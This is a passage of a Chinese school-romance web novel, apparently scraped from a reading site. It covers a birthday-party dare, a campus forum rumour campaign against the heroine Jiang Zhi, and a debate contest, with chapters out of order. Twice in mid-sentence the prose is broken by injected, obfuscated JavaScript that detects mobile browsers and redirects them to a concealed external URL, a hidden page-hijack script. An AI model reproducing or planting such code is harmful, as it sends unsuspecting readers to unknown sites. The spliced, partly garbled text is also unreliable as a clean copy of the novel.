补个觉的工夫,编瞎话的本事倒是一流。 宋言旭尴尬地装咳,一秒八百个动作招呼大家,“都别干站着了,坐下玩儿啊。” 而后殷情都给边野让了个位,“野哥,您坐这儿!” 伸手不打笑脸人,边野倒没拒绝。 宋言旭目光从他外套上扫过,心底忍不住“啧”了声。 要知道女生碰过的衣服,野哥向来都是扔了,这还是头一次见他穿上。 这说明什么?有戏。 他这月老当的,就是钢丝也能扯成红线。 范静宜刚坐下,脸上的笑意就僵住了,视线落在跟在边野身后的姜栀身上。 “你怎么会跟野哥一起下来?” 她本来就对这丑八怪不爽,一想到她在自己不知道的时候跟边野独处一室,心里的火气“噌”一下冒起来。 顿时,好几双眼睛不善地盯向她。 姜栀看着这些人,还没想好怎么解释就听见边野冷淡散漫的声音,“少多管闲事。” 她惊了下,偷偷瞄了他一眼,对自己的女朋友也这么凶吗? 11. 第 11 章 当着边野的面,范静宜自然不敢再说什么,心里却越想越气,冷眼瞪着小跟班徐颖,跟毒蛇芯子似的。 没用的东西,不是说跟宋言旭关系好吗,怎么连他把人带来了都不知道? 徐颖移开目光,心里憋屈得很。 每次一不如意就对她发泄,她是什么很贱的人吗? 池念看不得姜栀受委屈,一把将人拉到身边坐下。 气氛仅微妙了几秒就被宋言旭打破。 “今天野哥是寿星,咱们关注点可别歪啊。”他挑眉碰了下边野,“一起玩玩?” “随你。”边野本就兴致缺缺,连派对都是几个朋友组起来的。 “得嘞!”作为主持人的宋言旭给迟来的俩人发了骰子和骰盅,为了照顾姜栀,将游戏规则重新讲了遍。 “很简单,由我说开始和结束,数字最小的接受惩罚,不可以找任何理由拒绝。” 大家都没意见,有了边野的加入氛围甚至更热烈。 一轮刚开,边野随意晃了两下就停了,姿态懒散。 全场开盖,他意料之中的最小。 女生们难免激动,不论真心话还是大冒险,她们都很期待。 “野哥,选一个吧。”宋言旭笑得很奸。 边野声音低懒,“真心话。” 宋言旭一想到自己特意为他准备的题目,嘴角就比ak还难压,轻咳了声:“那么请问,你有几个前女友?” 几个女生的胃口瞬间被吊了起来,纷纷盯着他。 唯独范静宜,脸色难看。 边野瞥了宋言旭一眼,在众位女生期待的目光里,淡淡开口:“没有。” 气氛忽地安静下来,数双目光齐刷刷地看向范静宜。 姜栀也被这回答惊到,她不是说是他的女朋友吗? 范静宜脸色发白,狠狠掐着指甲。 那些目光像巴掌一样扇在脸上,令她痛恨恶心。 “有问题?”边野懒散的声音打破宁静。 傅诗语最先反应过来,笑颜如花,“当然没有,只是没想到边少对待感情竟然这么慎重。” 恐怕过了今晚,圣嘉的人都要知道边野从没谈过的事情了。 既然名草没主,那她的胜算很大。 “好了好了,游戏继续!”目的达到,宋言旭心满意足地推进程,下一轮很快开启。 几轮之后,姜栀成功中招。 想到宋言旭先前问的那些过于隐私的问题,她选了大冒险。 宋言旭内心狂喜,面上倒是一本正经,“请与左边第五位异性喝交杯酒。” “第五位……”池念在一旁帮她认认真真数过去,数到五时,声音戛然而止。 第五位不是别人,正是边野。 好巧。 姜栀也愣住,她和边野之间的关系好像还没好到可以开这种玩笑,万一惹他不高兴了怎么办。 而且她酒量很差,在公众场合醉倒很尴尬吧。 想了想,她问宋言旭:“可以换一个大冒险吗?” 这是宋言旭特意为她跟边野准备的,自然果断拒绝,“妹妹,玩游戏就是要遵守规则的哦。” 可是…… 姜栀看着面无表情的边野有点不安。 一旁的范静宜嫉妒地冒火,得了便宜还卖乖,欲拒还迎的死绿茶。 “怎么,跟我喝很丢人?”边野脸色冷下来,嗓音很低。 姜栀摇头,刚要否认就被傅诗语友好地拿过酒杯,笑盈盈地看着边野,“她可能没有跟别人喝酒的习惯,边少别介意,都是女生,我替她喝。” 边野轻嗤一声,周身气压很低,“你算老几?” 傅诗语脸色一僵。 气氛诡异地安静下来。 范静宜一脸轻蔑,两个不知道好歹的下.贱.货。 姜栀没想到事态发展得这么奇怪,重新倒了杯酒,“没事,我喝。” 辛辣的烈酒刺激着口腔和喉咙,她不受控制地猛咳起来,呛出了眼泪。 池念立即给她递过去一杯温水,担忧地轻拍着她的背,“快喝点缓缓。” 边野眼眸漆黑冷冽,盯着她狼狈的模样,兴致消散殆尽。 一杯交杯酒而已,他是什么很脏的人吗? “你们继续。”他沉声丢下一句话,摸了车钥匙起身离开,身影冷寂。 “哎野哥——”宋言旭一惊,他预想中可不是这样的啊。 众人看着这出,面面相觑。 姜栀刚缓过来,有点迷茫无措。 怎么还是生气了呢。 局是宋言旭组的,寿星虽然走了,但这么多人来都来了,自然是要玩到结束的。只不过边野不在,女生们的热情减少了许多。 姜栀和池念跟这群人不熟,就单独坐着。 那杯酒太烈,姜栀晕晕地靠在池念肩膀上,意识模糊。 池念摸了摸她脑袋,咬了口糕点叹气。 边野果真名不虚传,这么臭的脾气也不知道谁能受得了,那些女生真是忍者神龟。 派对结束已经十点多,这块地处偏僻不好打车,女生们都由他们这些男生送回去。 宋言旭发了好几个毒誓,池念才敢把已经晕到睁不开眼的姜栀交给他。 临走前她拉着姜栀的手,“到家一定要给我打电话,知道吗?” 姜栀迷迷糊糊的“嗯”了一声。 宋言旭绅士手扶着姜栀往停车位走,正愧疚自己今晚给她帮了倒忙就看见不远处有个黑黢黢的身影。 他眨了眨眼,有点不确定地喊:“野哥?” 蹲在绿化台阶上的边野掐灭了手里最后一根烟,精准丢进了垃圾桶,这才回头。 山脚下路灯昏暗,显得他眉目更加冷冽。 “你没走啊?”宋言旭刚问完就想给自己一巴掌,人都在这儿了,问的什么话。 边野没答他,起身朝他走来,眼睛却看着他身边的姜栀。 宋言旭以为他还气着,想替她解释两句:“这妹妹没酒量,一杯倒,怪不得那会儿问我能不能换——” “我送她。”边野神色懒淡地打断他的话。 “哦……啊?”宋言旭怀疑自己幻听了。 送她不过是怕她出什么事,这地方是他出钱包的,但他懒得解释,接过没什么意识的姜栀。 少女身体很软,脑袋没骨头似的靠在他肩膀处。 “你先回去。” 宋言旭惊呆地看着这一幕,听到他的话都还有点反应不过来,“啊……好,好。” 他走两步就要回头看看,直到上车离开。 还是第一次见野哥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15236984|166147||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这么和善主动,派对那会儿都不高兴成那样了,居然还能在山下等这么久,该不会就等着送姜妹妹回家吧。 乖乖,他拉的红线这么快就成了? 等宋言旭的车走后,山脚下就只剩边野那辆车。 他低眸看了眼怀里的少女,眉头压下来。 不会喝酒不能直说吗,他是会吃了她? 边野沉着脸把人拦腰抱起。 她很轻,像没什么份量的宠物。 姜栀窝在他胸前,晕晕乎乎得有点难受。 被放在副驾驶上时,她皱着眉头嘟囔了一声,似乎是不舒服,想要翻身。 边野伸手按住她,“别乱动。” 她眉头松开,竟听话得安静下来。 边野扯过安全带,给她扣上。 她身上散发着浅淡的酒气,在寂静的夜里莫名引人。 他眼底晦暗一瞬,抽身时,耳边传来低软的嘟囔,“边野……” 姜栀闭着眼,微卷的眼睫落下一片剪影。 这一声名字很像是无意识喊出来的,但他还是应了,“怎么?” 姜栀觉得这个梦好真实,但果然是梦啊,他面对自己时还没这么好脾气过呢。 “你以后……” 她声音迷迷糊糊、断断续续,边野只听见这三个字。 “什么?”他低下头凑近了点。 姜栀很乖地重述,只是依旧含糊不清,“以后……别生气,多笑笑,笑起来……应该很好看。” 隔着口罩,带着清浅酒气的气息微弱地落在耳旁,像一根羽毛轻轻抚过,边野缓慢地眨了下眼。 他抽身凝视她几秒,声音懒散,“管的倒是宽。” 车门关上,昏昧的路灯光线透过窗户,像薄纱般覆在姜栀半边脸上。 他静默一秒,踩下油门,一路缓速度回了边家。 夜色深沉,他带着姜栀进别墅的时候,管家正好在。 看到他回来管叔先是一惊,转眼看到不省人事的姜栀,困意一瞬消散,紧张询问:“知知这是怎么了,生病了吗?” “醉酒。”边野没多说,只吩咐他,“让女佣给她清洗一下。” “好。” 管叔愣愣地看着他把人抱上楼,半天才反应过来他刚刚说了什么。 他边去找女佣边欣慰,俩孩子的关系可算是好了,不容易啊。 楼上静得针落可闻,边野走得慢,临到她房间前犹豫了片刻,还是推门进去。 他第一次进女孩子的房间。 清浅的香气弥散在空气中,半点不腻人,轻轻包.裹着身.体,肉眼所见的布置都很柔软温馨,不像他的,只有清冷的色调。 看来黎女士真的很喜欢她。 把人放在床上,边野拉了被子给她盖好。 口罩还在姜栀脸上带着,但透出来的皮肤泛着红晕,她轻皱着眉头,像是有点儿不舒服。 他伸手准备摘掉口罩,少女像是感应到什么,眼睫轻轻一颤。 随后,迷蒙地睁开眼。 像山间雾气,琥珀色眼眸在灯光下漂亮得动人。 这个梦好长啊。 姜栀无意识地眨了下眼,又困倦地闭上。 近距离看着这双眼,边野失神两秒。 心脏不受控制地漏跳一拍。 12. 第 12 章 自温泉山庄后,边野又消失在她视线所及之处。 那杯酒后的事她都不记得,池念说是宋言旭送她回去的,她想当面谢谢人家。只是见不着边野,自然也见不到宋言旭。 这些天,她偶尔会想,如果当时没有提出大冒险,她和边野之间也许就不会这么僵了。 周二,东区培训结束后,姜栀收拾好书包出去时,才发现外面不知道什么时候下起了暴雨。 同班培训的同学陆陆续续离开,她跟别人不熟悉,看到最后出来的程杭越,鼓起勇气礼貌问:“可以借你的伞搭一程吗?” 程杭越面无表情地撑开伞,不留情面地拒绝,“不好意思,我们不顺路。” 姜栀抿了抿唇,没有再问,沉默地站到一边。 因为她的脸狰狞丑陋,所以理所当然地不被帮助。 她只能寄希望于这场雨什么时候小一点,好让她能跑到公交站。 看了眼雨势,她从书包里拿出老师布置的作业,蹲在台阶上安安静静地看。 远远地,雨中走来两道身影。 “哎野哥,那不是姜妹妹吗?”宋言旭隔着雨幕眯眼瞅了瞅。 边野有一下没一下地嚼着口香糖,顺着他视线看过去。 少女纤瘦的身影坐在楼梯阶上,扎起的马尾垂在右肩上,手里捧着本书,一脸专注。 他脑子里莫名浮现出那晚送她回家的场面。 “姜妹妹是不是没带伞啊,要不咱们送她一程吧,这雨还不知道下到什么时候呢,她一个人在这儿待着也怪可怜的。” 宋言旭胳膊肘碰了碰边野,“怎么样野哥?” 边野看着漫起雾气的大雨,淡淡地移开视线,“要去你自己去,别扯上我。” “成啊,反正我今天没开车,正好带姜妹妹坐你车。”宋言旭说着就要过去,结果雨幕中一道黑色身影着急忙慌地从他前面跑过去。 “知知!” 姜栀还在那儿演算数学题,就听见管叔的声音由远及近。 她抬头,先是愣住,“管叔,你怎么来了?” 管叔一身黑西装,撑着把很大的黑伞,雨珠接连不断地滴在地上,“我刚刚帮着边总接待客人回来,看到下了这么大雨,想着你今天没带伞,衣服也来不及换,就赶紧过来接你。” 姜栀心里暖融融的,“谢谢您。” “好孩子,把书收好,回家。”管叔面容慈祥,嘴角挂着亲切的笑。 那会儿看到她就这么乖巧地坐在这里,他心里又是欣慰又是酸涩。 姜栀快速地背起书包,跟着他一道走进雨幕里。 “得,人家爸爸来接了。”雨太大,又有点距离,宋言旭看不清管叔的脸,估摸着应该是姜栀的父亲。 “英雄救美连个机会都没有,可惜。”他老神在在地摇头。 “小说看多了,这么会脑补?”边野模样淡淡地睨他一眼,自顾自地朝前走。 宋言旭悄咪咪翻了个白眼,“你这嘴自己哪天舔一舔,都要中毒。” 走出学校大门之前,姜栀下意识回头看了眼,但偌大的校园里,她没再看见第三个人影。上车之际,东南角一道轻微的“咔嚓”声响起。 - 隔天,姜栀来得早,班里还没几个人。 她走近教室,刚坐下,走廊口就有几个女生一边路过一边故意盯着她,脸上还带着不怀好意的笑,还互相低声说着什么。 隔着堵墙,她听不清楚。 姜栀不想理会,拿出书本和作业,等到课代表来了才把作业交过去。 “哎哟,不好意思,我没拿稳呢。” 她递出去的英语作业“啪”的一声掉在地上,英语课代表周琪琳一脸鄙夷地看着她,嘴里阴阳怪气。 姜栀没得罪过她,也不明白她为什么这种态度,但她不想争吵,蹲下身去捡自己的英语作业。 周琪琳一脚踩住,轻蔑地看她,“就这么点力气怎么拿啊,使出你伺候老男人的劲儿来啊。” 姜栀不解,一脸困惑。 旁边看不下去的班长拉了拉周琪琳,“大家都是同学,你别这样。” “谁跟这种自甘下贱的人是同学,同一个班上课我都恶心。” 周琪琳毫不避讳,前段时间传这丑八怪为了见边野追去了鹤加山,她还不并不觉得怎么样,毕竟边野这种天之骄子岂是癞蛤蟆能肖想的。 但就在周末,她得知这丑八怪居然还去了边野的生日趴,不仅如此,甚至故作清高地拒绝了和边野喝酒。 呸!她算个什么东西! 她周琪琳比这丑八怪好上千百倍,费尽心思都没能让边野记住她,凭什么这丑八怪就可以? 姜栀松了手站起身,神色认真地问:“什么叫自甘下贱,你把话说清楚。” “敢做还不敢当了?”周琪琳面目藐视,“可是有人亲眼看见你上了老男人的豪车。就你这样的,长得丑还需要依靠助听器的残废,老男人看上你什么,无非看你嫩呗。” 姜栀一瞬明白,昨晚管叔来接她,被人看见并且误会还造谣了。 她捏着手心,义正词严,“我没有。那只是我的叔叔,你们凭什么造谣?” 周琪琳像是听到了什么弥天笑话,“行啊,死到临头还嘴硬,那就看看铁证吧,看你有几张嘴说。” 她拿出手机点开学校论坛,那条曝光内涵姜栀被包.养的帖子就在最上面,热度值很高。 “喏,睁大你的狗眼好好看看。” 姜栀接过手机,那条标题为[女学生为爱或许嫁入豪门]的帖子清晰地映入眼底。 文字下方附着张照片,是她上车,管叔为她撑伞的场景。 照片角度刁钻,看上去就像她靠在管叔怀里撒娇,管叔因为背对着,并没有拍到脸,而她的脸被拍到了三分之一,白色口罩几乎成了她的标志性物件。 帖子是匿名的,主帖内容很有引导性—— [众所周知,西区都是普通家庭,但这辆车少说得千万,有这实力怎么会在西区上学呢?有哪位好心人分析分析吗,想破脑袋也想不通呢。] 1L:欸?这不是咱们西区出了名的丑八怪吗?我听说她家很穷啊,平常都是吃糠咽菜的,要不是成绩好,根本进不了圣嘉。 2L:这么简单的事儿怎么能想不通呢,男女之间还有什么纯友谊吗?顶多唇友谊啊哈哈哈。 …… 181L:还是太先进了,这老头看着得有五六十岁吧,这都下得去嘴,活该人享受呢。 197L:这老头看上她什么,不会就好学生这一口吧,这俩人还真是周瑜打黄盖,一个愿打一个愿挨。 …… 366L:不愧是学霸啊,脑子就是灵活。你们在这儿说再多也没用,人家已经一步登天了,以后一毕业就是豪门贵妇了哈哈哈哈。 388L:这老头这个年纪肯定不可能没结婚,说不定她根本上不了台面,只是人家取乐的情儿而已。 昨晚发的帖,到现在已经几百楼的讨论。 那些揣测要多恶毒有多恶毒,说的话要多难听有多难听,没有半分九年义务教育下的素质。 无数情绪在一瞬间糅杂着席卷而来。 姜栀浑身都在发颤,手几乎快拿不住手机。 周琪琳一把夺回,嫌弃地抽了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15236985|166147||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好几张纸擦,嘴里还在喋喋不休地讽刺,她感觉双耳嗡鸣,沉默着捡起地上的作业。 然后回到座位上。 池念一来就看见她像是丢了魂一样看着书,心疼地握着她的手臂,“知知,你……你还好吗?” 那个论坛的帖子她来的路上才看见,在里面大战了几十个回合,但根本说不过那些人,那些人说话太难听了!她简直想撕烂他们的嘴。 姜栀看着书出神。 见她没吭声,池念凑近,更担心了,“知知,你别吓我。” 姜栀如梦初醒一般,后知后觉地看向她,还是那样温柔的声音,“我没事的,别担心。” 池念气得不行,“知知,我相信事实一定不是他们说的那样,他们现在除了造谣还属于网暴,咱们报警吧!” 凭什么都逮着知知一个人欺负! 姜栀心里暖暖的,眼神感激,“嗯,必要的话我会的。” 她刚看到的时候确实被打击到,但这是在扭曲事实,他们可以讨厌她,但不该把无辜的管叔牵扯进来。 她想过了,这个黑锅她不愿意背,她要找到造谣的人。 “嗯!我永远陪着你。”池念挽着她的手,眼里亮晶晶的。 姜栀鼻子一酸,“谢谢你呀。” 帖子的矛盾提取得很好,以至于一个上午已经传遍了圣嘉。 宋言旭在金霆里待着打游戏,手机叮叮咚咚地响,他随手难过看了眼,几秒后忍不住一个卧.槽。 他推了推坐在卡座里补觉的边野,“野哥,快醒醒!出大事了!” 边野被他晃烦了,拧着眉抬头,眼神冷的能把他刀碎,“你最好是真的有事。” “这回是真的!”宋言旭把手机递过去,“你看看,这是不是姜妹妹。” 他拿过手机,揉了揉也眉头,困倦稍微去除一些,没什么耐心地去看帖子。往下划了几页,边野神色认真起来。 手指一动,又回到主楼,看到是匿名发送,眉头皱得更紧了点。 “野哥,这照片上的老头不就是咱们昨晚看见的吗?虽然我不知道具体怎么回事儿,但我感觉姜妹妹肯定不是这种人。”宋言旭一口笃定。 他从第一次见姜栀,就觉得这姑娘身上的气质跟他见过的那些女孩子们不一样,有种纯粹的干净和不被世俗污染的单纯。 十几年来的目标肯定都是好好学习,唯一的变数恐怕就是喜欢上野哥。 野哥害人不浅啊。 宋言旭不知道这是谁,边野心里却是清楚的。他心底升起些莫名的戾气,越看越不爽。 她一个只知道学习的乖学生,看到这些恐怕哭得鼻子都喘不过气。真是蠢得可以,得罪了人都不知道。 边野沉了口气,摸出手机,拨了个电话出去。 很快那边接通,毕恭毕敬道:“边少,有何贵干?” 他冷着一张脸,声音低沉,“把学校论坛里的帖子给我删了,还有,查到发帖人是谁。” “半小时内。” 说完,没给对面任何讨价还价的机会,直接掐断了电话。 宋言旭看完啧啧称叹,“野哥这速度,真令人望尘莫及。” 边野懒得跟他客套,被搅了兴致这会儿也睡不着了,薅了薅头发,“我出去一趟。” “你去哪儿啊!”他收了手机就要跟,被边野一个眼神制住。 宋言旭讪讪地回到卡座里,张柯凑过来好奇问:“野哥去哪儿啊。” “还能去哪儿……”不让他跟着,他堵一百块,肯定是去见姜妹妹。 宋言旭话到嘴边停住,混不吝得推他,“去去去,玩你的去。” 15、第 15 章(含入v公告) 后视镜里的陌生女人很快消失,姜栀心里松了口气。回头去看边野,依旧是那个姿态,她竟生出一种他任由摆布的错觉。 轻轻擦了下他额角,她松开手往回坐,垂眸掩饰自己的心虚,“刚刚……你头上有脏东西。” 边野漆黑的眼睛错开她,漫不经心地扫了眼右后视镜,视线在正厅门口停留一瞬,什么也没说,将车开出去。 到那儿时,翡记已经打烊了。 本就是随时起的一个念头,她倒没什么遗憾。 回去时那个陌生女人已经走了,姜栀不动声色地松了口气。 她以为这个小插曲就这么过去了,没想到第二天早起下楼时,在餐桌上看到了一堆翡记糕点。 惊讶间,管叔走过来拿了一盒塞她手里,“知知,这个你带上,去学校吃。” “这是……”她脑子里下意识浮现边野的名字,但又觉得不太可能,“谁买的呀?” 管叔笑得亲切慈祥,“翡记那边的人一大早送来的,说是边总之前对他们有恩,送了点当季新品过来聊表心意。” “哦。”她就说她想多了,是谁也不可能是边野。 翡记糕点很有特色,在宿城名气也不小,分给池念时,她开心得两眼放光,吃得嘴巴鼓鼓囊囊,“软软糯糯,一点也不甜腻,不愧是翡记!” 姜栀被她感染到,柔柔一笑,“慢点吃,别噎着。” “哦对了知知,杜老师说学校下下周要开运动会,让班里人都积极参加,你有没有什么想报的项目呀?” 池念咬着糕点,声音含含糊糊。 姜栀摇摇头,“不了吧,我不擅长运动类的,你可以报呀,我给你加油打气。” 正从后门进来的周琪琳听见眼底闪过一丝暗色。 她的座位就在姜栀前面两排,势必要路过。 池念擦个嘴的工夫就看见即将走过去的周琪琳,大声喊住她,“傅诗语都道歉了,你四处传播造谣是不是也该给姜栀道个歉?” 她性子直,有什么说什么。 听到动静的同学纷纷看过来。 周琪琳脸色变了变,嘴硬道:“我凭什么道歉,帖子又不是我发的,我这顶多就是跟风议论,学校里议论的人还少吗,你有本事一个个找过去让他们道歉啊。” 一副死不悔改的样子。 “你别太过分!”池念气地拍桌。 周琪琳白了她一眼,径直走了。 “哎我这个暴脾气!”池念撸起袖子要冲过去,被姜栀一把按下。 “别冲动。”她了解周琪琳是个什么样的人,最喜欢落井下石逞口舌之快,“这件事既然已经澄清了,大家就都知道真相是什么。更何况嘴长别人身上,要是时时刻刻都要去管,岂不是累死啦?” “你就是脾气太好了。”池念替她委屈。 姜栀眉眼弯弯,往她嘴里塞了块糕点,“尝尝这个雪球,芋泥馅的。” 池念的注意力一下就被转移了。 姜栀看着周琪琳的背影,回想起上辈子。 那场高中毕业后的谢师宴,她听闻周琪琳因为口无遮拦得罪了人,差点被打死,进了重症监护室,躺了一个多月都没能醒过来。 彼时听到,也只觉得唏嘘。 周琪琳回到座位上,心里越想越气,憋闷得难受。 同桌正好是体育委员,那张报名运动会的表格就在他手里。 下课后,她凑过去问:“那张表格你不是还没交给杜老师吗,我想看看有没有能补位的项目。” 同桌正好要去洗手间,随手递给她,“行,你看完后就放回来,我到时候送去给杜老师。” 人一走,周琪琳就拿了笔。几个热门项目都被报完了,她看着1500长跑和跳远项目还空着,不带犹豫地写了姜栀的名字,甚至还模仿了她的字迹。 虽然那张脸是圣嘉尽人皆知的丑陋,但很多人只是听传闻而已,并没有亲眼见过。她要让姜栀在全圣嘉面前出尽丑态。 眼底的得意遮掩不住,周琪琳一想到那个场面就忍不住期待。 同桌回来后,看了眼表格,有点儿奇怪,“姜栀什么时候报的1500跟跳远啊,她应该不行吧?”挺吃体力的。 好在上课铃正巧打响,周琪琳故作若无其事道:“我刚刚看表时,她说她也要看看,我也没想到她这么勇。咱别以貌取人,万一她可以呢。” “说得也是。”同桌应和,见任课老师走进来,立马把表格放回桌兜里。 - 周四的课上到中午就全体放假,下午是东西两区的辩论赛,不参加比赛的同学就在台下观赛。 姜栀在休息室准备的时候,一道高大的身影散漫慵懒地走进来,原本还有窸窸窣窣动静的休息室瞬间安静。 耳边响起一点儿抽气声。 她疑惑地抬头,看见边野那张野性优越的脸。 傅诗语没有半点以前的爱慕之心,害怕地直往后退,恨不得找个地洞钻进去。 她见识过真正的边野,心里只剩下恐惧。 带队老师急匆匆过来,一脸歉意,“不好意思边同学,我有点事耽误来晚了。” “嗯。”他漫不经心地回应。 “各位同学耽误两分钟。”带队老师拍了拍手掌,“担任反方三辩的同学临时出了点事来不了,现由边野同学替补。” 此话一出,反方辩论选手心里都有点不舒服。 他们是奔着赢去的,边野虽然家世好,但他们也不差。而且他从来不学习,说得难听点,跟混子有什么区别,现在加入他们,不说没有默契,连赢的概率都要被拉低。 边野黑眸扫了眼这些人,扯了下唇不紧不慢道:“多担待。” 东区选手们犹如见鬼,边大少爷什么时候这么好说话了? 姜栀也愣了片刻,她是正方三辩,之前培训的时候,跟反方三辩算是打得有来有回。现在换了边野,她一时有点儿不习惯。 直到比赛开始落了座,姜栀看着对面的人感觉还是有点儿怪怪的。 倒是场内的反应空前热烈,作为圣嘉的风云人物,东区倒是见怪不怪,时常能看见边野,但在西区,学生们大多看见的是他的照片。 现在活生生的人就在场馆里,那种痞性帅气是照片体现不出来的。 边野一出现,就引起了轩然大波,甚至比这场辩论还值得让人看。 但他本人像是毫无所觉,身姿懒散地靠着椅子,眉眼间三分野性的笑,连手稿也没带。 辩论赛整点开始。 姜栀这一组作为第一轮开场,与反方东区就高中生是否应该早恋为题展开了激烈的论点阐述。 西区都是靠成绩进的圣嘉,每年高三的升学率都是圣嘉的金字招牌,在他们看来,学习才是学生的本分,恋爱无足轻重,大学之前就不该存在。 两方紧咬着不放,正方二辩甚至激动得有点上脸。轮到姜栀,她起身礼貌地介绍自己后,开始阐述论点。 和前面的激烈不同,话筒放大了她平稳柔软的嗓音,像轻灵的音乐,慢而有力,“恋爱是件很美好的事情,但应该在合时宜的时候开始。比影响学习更关键的是影响心态……” “……至此,我认为中学生不该早恋。” 边野漆黑的眸子注视着她。 她像一泓清泉,清澈干净,没有半分被污染过的痕迹。就连辩论这样很容易起争执的比赛,到了她身上,似乎也变得平静。不浮不躁的,跟六月的暖风拂面一般。 姜栀说完坐下来了好一会儿也不见边野起身反驳,场馆里响起窃窃私语声,他嘴角勾了勾,“反方三辩不同意。” 没有手稿也没有提前培训过,但辩驳的论据却十分犀利。那些许多人听都没听过的名家过往流水似的从他嘴里说出来。 漫不经心的模样,却轻而易举地把人的绕进他的逻辑里。 直到正方一辩反驳到一半才意识到,自己被带歪了。 台下的宋言旭满脸欣慰,还好他机智,在原定选手临时无法上场时迅速找到了带队老师,给野哥报了上去。 他就知道野哥深藏不露,不鸣则已,一鸣惊人。 这下还不得迷死姜妹妹。 姜栀震惊之下还有点儿欣喜。 在少年混不吝的表象之下,她看见了希望。 所以,不爱学习会不会只是他的幌子。 东区几个选手原本还担心边野拖后腿,但几轮辩论下来,不光他们,场馆内的观赛同学也惊奇地发现,边野和传闻中并不完全一样。 那种压倒式的气势和缜密的逻辑像密不透风的网将正方紧紧笼罩。 两方咬得很紧,如果边野再加把力添把火,反方赢下的概率不小。 直到最后一轮。 姜栀说完论点后沉默了会儿,随后把手稿收起来,琥珀色眼眸直视着他,“选择早恋未必有不好的人生,可我相信你不早恋会有更好的未来。” 生日趴那次的真心话,他说自己没有谈过怜爱,但他天生就具备吸引异性的能力,从前没有,以后谁说得好呢。 如果黎姨在,也会想要看见他闪闪发光的样子吧? 边野悠长的视线逡巡着她,发出一声极轻的笑,意味不明。 最后,在所有人期待的目光中,他懒淡开口:“我放弃。” 像一滴水入了油,场馆寂静一瞬,下一秒,炸开了锅。 反方选手更是面面相觑,但他们没胆子去问。 实际上,如果不是边野临时替补进队伍,按照实力来说,他们第三轮应该就被判输了,撑不到最后。 台下的范静宜猛地站起来,眼里尽是不可思议。 明明就要赢了,他为什么放弃? 身旁徐颖轻拽了她一下,“静宜,你先坐下。” 范静宜回过神,这才发现周围同学盯着自己,压着心底那股莫名的憋屈坐下。 她看着台上模样安静乖巧的姜栀,总觉得什么不一样了。 姜栀怔忪地看着他,不是很理解他的脑回路。 在对方辩友的欢呼声中,边野起身离开。 趁着选手们下台休息,姜栀没忍住追了上去。 “边野!” 她拖着腿小跑着喊他。 他停下脚步,神色散漫,“怎么,赢了要向我炫耀?” 姜栀摇头,她平复好气息,毫不吝啬地夸奖:“你今天表现得很好,但为什么突然放弃呀?” 为什么…… 边野没想过,他做事向来随心所欲。只是那一瞬间,他忽然觉得,要是反方有幸真赢了,她会不会红着眼失魂落魄。 “没有为什么。” 他看着那双琥珀色眼睛里自己的身影,清晰却又好像界限分明,“懒得辩了。” 这一幕远远落在站在场馆二楼的范静宜眼里,她缓缓握紧了拳头。 徐颖管不住自己的嘴,“静宜,你觉不觉得,边野对这丑八怪也有点不一样了?” 她怎么看不出来? 原先以为是丑八怪单方面接近边野,像边野这样的天之骄子怎么可能会搭理她。 可一次又一次之后,事态逐渐偏离自己的想象。 但她不允许,苗头就应该扼杀在摇篮里。 范静宜深吸了口气,拿出手机拨通了一个电话,声音恨恨,“那晚戏弄你们的罪魁祸首我找到了,答应我的事还算数吗?”【你现在阅读的是 】 14. 第 14 章 傅诗语被请到金霆时,紧张之余还有点期待。 当时在楼梯上,他应该是看见她推姜栀了,但只是让她走了,她胆战心惊了一下午,结果什么事儿都没有,也许……边野是真的看上她呢? 跟着服务生到了包厢,她推门进去。 里面光影昏昧,几个富家子弟聚在那儿打扑克,而卡座里的边野神色不明地把玩着银色打火机。 矜持地走过去,看到边野那张人神共愤的脸,她原先那点儿紧张早已经忘到脑后,娇羞地喊他:“边少,你找我。” 旁边的富家子弟交换着眼神,当场起哄。 “野哥你这可不地道啊,找个大美女来,叫我们看着也心痒啊。” “就是啊野哥,早知道我们也叫几个过来一起玩儿。” 这群人的起哄听得傅诗语虚荣心节节攀升,嘴角的弧度根本控制不住。 宋言旭也摸不着头脑,那会儿野哥一个电话打来,什么也不说就让他叫人,也不知道葫芦里卖的什么药。 边野没理会这群人,把手机往大理石桌上一丢。 屏幕光调到了最亮。 “谁给你的胆子?”他从昏昧中抬头,鹰隼般的目光摄住她,像开了锋的刀架在她的大动脉上,动一下就要皮开肉绽。 宋言旭看了眼,顿时惊呆了。 上面白纸黑字地指着论坛那个匿名发帖的人是谁。 想不到啊,外表清纯漂亮的区花,心居然这么黑,被这种人缠上,姜妹妹真是倒了血霉。 傅诗语的那点庆幸在此刻消散殆尽。 印象里的边野虽是几面之缘,但总是漫不经心的,懒散得像是对什么都不在意,是个只知道沉溺于纸醉金迷的富家子。 她被他现在这副样子吓得脸色苍,手心渗出虚汗。 “哑巴了?”他嗓音低沉,视线犀利得几乎要穿透她。 周围那些富家子弟噤若寒蝉。 谁都知道边野脾气虽然不好,但很少真的发飙,眼下已经在爆发边缘。 傅诗语害怕得声音发抖,“我……我只是觉得新鲜,才……才发出来的,我没、没有别的意思。”她快吓哭了。 “新鲜?” 边野冷嗤一声,起身缓缓逼近她。 傅诗语嘴巴直哆嗦,抵抗不住那股阴狠的戾气,下意识后退,却在慌乱间被自己绊倒,磕在地上。 边野顺势蹲下来,拉近两人的距离。 